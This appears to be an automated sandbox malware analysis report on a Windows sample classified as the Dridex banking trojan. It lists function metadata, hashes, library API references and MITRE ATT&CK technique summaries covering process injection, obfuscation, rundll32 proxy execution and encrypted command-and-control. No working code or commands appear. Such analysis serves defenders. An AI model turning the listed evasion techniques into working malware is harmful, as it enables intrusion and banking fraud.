API String ID: 3976807648-149943524
Opcode ID: 7b64d3b0b9a53475e8c596d84a411114818e5cfc3bd192a08ca3575fd843e4e0
Instruction ID: c451123027945a1c1311d5cefdd4de1c5486516aa8858e5dd9582dd917ab58d9
Opcode Fuzzy Hash: 7b64d3b0b9a53475e8c596d84a411114818e5cfc3bd192a08ca3575fd843e4e0
Instruction Fuzzy Hash: 70D158B0944229EFEF24DFD4CC49B9AB375AB54309F0045D9E9096B290E7709BC5CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED74CE0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 290COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,00000000), ref: 6ED74D20
__invoke_watson_if_error.LIBCMTD ref: 6ED74DC3

Strings

@, xrefs: 6ED74E80
@, xrefs: 6ED74DEC

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: HandleModule__invoke_watson_if_error
String ID: @$@
API String ID: 3976807648-149943524
Opcode ID: 9c3772aa97d488207587e3fa11b473d7f2c0f0cfac87fbd94a1fb28d8d4ece1b
Instruction ID: a715fda0b8146f315e9b0f4ee141a8a560a67b8a3019d9b1fba02e1028aa8ebd
Opcode Fuzzy Hash: 9c3772aa97d488207587e3fa11b473d7f2c0f0cfac87fbd94a1fb28d8d4ece1b
Instruction Fuzzy Hash: 87D159B0900228DFDF25CF94CC49BDAB7B5AB69315F0045D9EA096B380E7709AD6CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6ED808F0, Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6ED8097A
__sptype.LIBCMTD ref: 6ED809AD
__ctrlfp.LIBCMTD ref: 6ED809D5
__ctrlfp.LIBCMTD ref: 6ED809EE
__ctrlfp.LIBCMTD ref: 6ED80A07
__except1.LIBCMTD ref: 6ED80A37

Part of subcall function 6EDB0FD0: __raise_exc.LIBCMTD ref: 6EDB1031
Part of subcall function 6EDB0FD0: __errcode.LIBCMTD ref: 6EDB103D
Part of subcall function 6EDB0FD0: __umatherr.LIBCMTD ref: 6EDB1089

__except1.LIBCMTD ref: 6ED80A8A

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: __ctrlfp$__except1$__errcode__raise_exc__sptype__umatherr
String ID:
API String ID: 2036792732-0
Opcode ID: d6ca9e6dacdf1bb608473b4115137f8d6f58a5420545264db1e49e509db26920
Instruction ID: 21185fe3411c6bc7c051c4b3901e02ee7e57fe968cd82ee1b8a6385d66777787
Opcode Fuzzy Hash: d6ca9e6dacdf1bb608473b4115137f8d6f58a5420545264db1e49e509db26920
Instruction Fuzzy Hash: C141C5B1D0110EE7EB10BFD4EC46BAE7B34AF05349F1449A4E9941A2C4FB71866CC7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB4060, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

*, xrefs: 6EDB435C
*, xrefs: 6EDB4177
", xrefs: 6EDB4209
", xrefs: 6EDB433D

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID:
String ID: "$"$*$*
API String ID: 0-3534430112
Opcode ID: 6bfd410582fcf2c74f51861c9ce4950b6d6b0d6e9c364604cb73d496c43158c4
Instruction ID: cd81ae2ef6c1c7885f7c48d7ac9b8c7d201c81970482c70210a4ba1e19a06d70
Opcode Fuzzy Hash: 6bfd410582fcf2c74f51861c9ce4950b6d6b0d6e9c364604cb73d496c43158c4
Instruction Fuzzy Hash: 6E914BB0D54209EFEF10DFD0C854BDE77B4AB55308F148518E9126B2C4F7B59A86CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED73DD0, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

UnDecorator::getTemplateName.LIBVCRUNTIMED ref: 6ED73E44
und_strncmp.LIBCMTD ref: 6ED73EC4
DName::getString.LIBCMTD ref: 6ED73F59
Replicator::isFull.LIBCMTD ref: 6ED74093

Strings

@, xrefs: 6ED73E75

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: Decorator::getFullNameName::getReplicator::isStringTemplateund_strncmp
String ID: @
API String ID: 1106836056-2766056989
Opcode ID: 44d088ce6bf531cdcd38b6b94a7544113db652ccc70315b4fae539a538eef241
Instruction ID: f98f7635db425b6cd5b5286b48d34e1376772ac6b9a4575710545965034d9c53
Opcode Fuzzy Hash: 44d088ce6bf531cdcd38b6b94a7544113db652ccc70315b4fae539a538eef241
Instruction Fuzzy Hash: 26915B71910128DFCF15DFE4D894AEEBBB9BF59308F01856AE605AB244EB31AD05CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB0400, Relevance: 9.4, APIs: 6, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc72a547778adc26f393104f1a390113527272d6749230c96d3c1a148d1a5443
Instruction ID: 55621272e22a642af58e344ced85a1605d31380899619ac7c9ced4d1069a426e
Opcode Fuzzy Hash: dc72a547778adc26f393104f1a390113527272d6749230c96d3c1a148d1a5443
Instruction Fuzzy Hash: 020220B0910219EFDB14CFD8C994BEEB7B4BF45364F108259E4666B2D0E734AA46CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED80570, Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6ED80587
__sptype.LIBCMTD ref: 6ED805AF
__ctrlfp.LIBCMTD ref: 6ED805D7
__ctrlfp.LIBCMTD ref: 6ED805ED
__except1.LIBCMTD ref: 6ED80621

Part of subcall function 6EDB0FD0: __raise_exc.LIBCMTD ref: 6EDB1031
Part of subcall function 6EDB0FD0: __errcode.LIBCMTD ref: 6EDB103D
Part of subcall function 6EDB0FD0: __umatherr.LIBCMTD ref: 6EDB1089

__ctrlfp.LIBCMTD ref: 6ED80646

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: __ctrlfp$__errcode__except1__raise_exc__sptype__umatherr
String ID:
API String ID: 2015137074-0
Opcode ID: 27169016a8e3e95e05639c87f8245718de73c0ea3efea6808a074d3a6ba639ea
Instruction ID: ef60758cd269c0a669db89432ff786f91398db149f1e9eed92839946585719d9
Opcode Fuzzy Hash: 27169016a8e3e95e05639c87f8245718de73c0ea3efea6808a074d3a6ba639ea
Instruction Fuzzy Hash: A821B3B2D4050DEBDB10AFD4E8474AD7B78EF49349F1085A5F9981A284FA308668D762

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAFC10, Relevance: 7.8, APIs: 5, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7104fa6d2be050ca574db57d1ea35bdc1f1a0844c4d8327e83def118d718549
Instruction ID: a3d06fed54def71a6db12459d6b0b54890779bc21a1fa8cba66642bded6985b8
Opcode Fuzzy Hash: c7104fa6d2be050ca574db57d1ea35bdc1f1a0844c4d8327e83def118d718549
Instruction Fuzzy Hash: C7B14770900209EFDB14CFE8C894BDEB7B5BF45314F208598E566AB294E734AF49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDADBF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

U, xrefs: 6EDADC16

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 65e36fdc367f420698e97bda13c6086aefb8d8e2e45ec822e541c97b2cb0460a
Instruction ID: 0ad5acafc111cceca856a68c3564e3c2b344a16b82ca6287cbaf2e35ff91de24
Opcode Fuzzy Hash: 65e36fdc367f420698e97bda13c6086aefb8d8e2e45ec822e541c97b2cb0460a
Instruction Fuzzy Hash: E211C8B5D14208FBCB00DBECCC45F8D77789B4830DF608954FA09BB241E67297518B91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA460, Relevance: 6.1, APIs: 4, Instructions: 146fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000), ref: 6EDCA5B0
GetLastError.KERNEL32 ref: 6EDCA5C5
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6EDCA655
GetLastError.KERNEL32 ref: 6EDCA65F

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: ErrorLast$ByteCharFileMultiWideWrite
String ID:
API String ID: 3971981585-0
Opcode ID: 2c4a828d56b35be4b1ef9c708486fb1310d949672a22e4b60e839aa027ad507a
Instruction ID: 9f2a8f9692c3d3f589e5057998e33f221320c283e031e27549f810e74f1fe75b
Opcode Fuzzy Hash: 2c4a828d56b35be4b1ef9c708486fb1310d949672a22e4b60e839aa027ad507a
Instruction Fuzzy Hash: C771A2B4A10229AFCB24CF58C980AD9B7B5BF48344F5481E9E90DA7364D730AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB75F0, Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,00000000,00000000), ref: 6EDB7652
__wcstombs_l.LIBCMTD ref: 6EDB76A7
MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000), ref: 6EDB773A
GetStringTypeW.KERNEL32(?,00000000), ref: 6EDB777A

Memory Dump Source

Source File: 00000004.00000002.815978108.000000006ED6D000.00000020.00020000.sdmp, Offset: 6ED6D000, based on PE: false

Similarity

API ID: ByteCharMultiWide$StringType__wcstombs_l
String ID:
API String ID: 2895191225-0
Opcode ID: 99bf4d3d434a2abfd369b1731114a14b820f08ca8273ed032bee4b862bd3e565
Instruction ID: 1d97b716ff35a07b43156bb68192adbb8380e1e5401d43e5069a00845510427f
Opcode Fuzzy Hash: 99bf4d3d434a2abfd369b1731114a14b820f08ca8273ed032bee4b862bd3e565
Instruction Fuzzy Hash: 6D5117B1910209EFDB44DFE8C895FEEB7B8BF14304F104958E516A7280EB34AA45CFA0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SecuriteInfo.com.Variant.Razy.980776.4470.28989

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Function 6ED351A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Function 6ED43930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Function 6ED46C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Function 6ED639F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Function 6ED422A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Function 6ED47A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 6ED447B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Function 6ED3543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Function 6ED354F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Function 6ED63370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Function 6ED5CAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Function 6ED5C790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Function 6ED5C2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Function 6ED4430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Function 6ED63820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Function 6ED5C580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Function 6ED5C405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Function 6ED41030, Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Function 6ED31570, Relevance: 3.6, Strings: 2, Instructions: 1143
COMMONCrypto

Function 6ED3ACD0, Relevance: 2.9, Strings: 1, Instructions: 1641
COMMONCrypto

Function 6ED53EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Function 6ED562F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Function 6ED4C590, Relevance: 2.1, Strings: 1, Instructions: 878
COMMONCrypto

Function 6ED52E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Function 6ED57660, Relevance: 2.0, Strings: 1, Instructions: 793
COMMONCrypto

Function 6ED4D030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Function 6ED589F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Function 6ED4AE80, Relevance: 2.0, Strings: 1, Instructions: 719
COMMONCrypto

Function 6ED4B6F0, Relevance: 2.0, Strings: 1, Instructions: 704
COMMONCrypto

Function 6ED4A660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Function 6ED51EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Function 6ED526B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Function 6ED51730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Function 6ED54CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto